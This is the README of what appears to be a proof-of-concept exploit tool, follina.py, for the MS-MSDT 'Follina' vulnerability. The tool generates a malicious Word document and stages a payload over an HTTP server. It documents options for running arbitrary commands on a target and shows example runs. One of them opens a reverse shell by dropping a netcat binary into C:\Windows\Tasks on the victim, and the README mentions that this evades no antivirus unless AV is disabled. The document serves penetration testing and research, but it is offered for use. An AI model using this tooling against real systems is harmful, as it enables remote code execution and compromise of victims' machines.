MS-MSDT "Follina" Attack Vector

John Hammond | May 30, 2022

---

Create a "Follina" MS-MSDT attack with a malicious Microsoft Word document and stage a payload with an HTTP server.

Usage

usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]

options:
  -h, --help            show this help message and exit
  --command COMMAND, -c COMMAND
                        command to run on the target (default: calc)
  --output OUTPUT, -o OUTPUT
                        output maldoc file (default: ./follina.doc)
  --interface INTERFACE, -i INTERFACE
                        network interface or IP address to host the HTTP server (default: eth0)
  --port PORT, -p PORT  port to serve the HTTP server (default: 8000)

Examples

Pop calc.exe:

$ python3 follina.py   
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000

Pop notepad.exe:

$ python3 follina.py -c "notepad"

Get a reverse shell on port 9001. Note, this downloads a netcat binary onto the victim and places it in C:\Windows\Tasks. It does not clean up the binary. This will trigger antivirus detections unless AV is disabled.

$ python3 follina.py -r 9001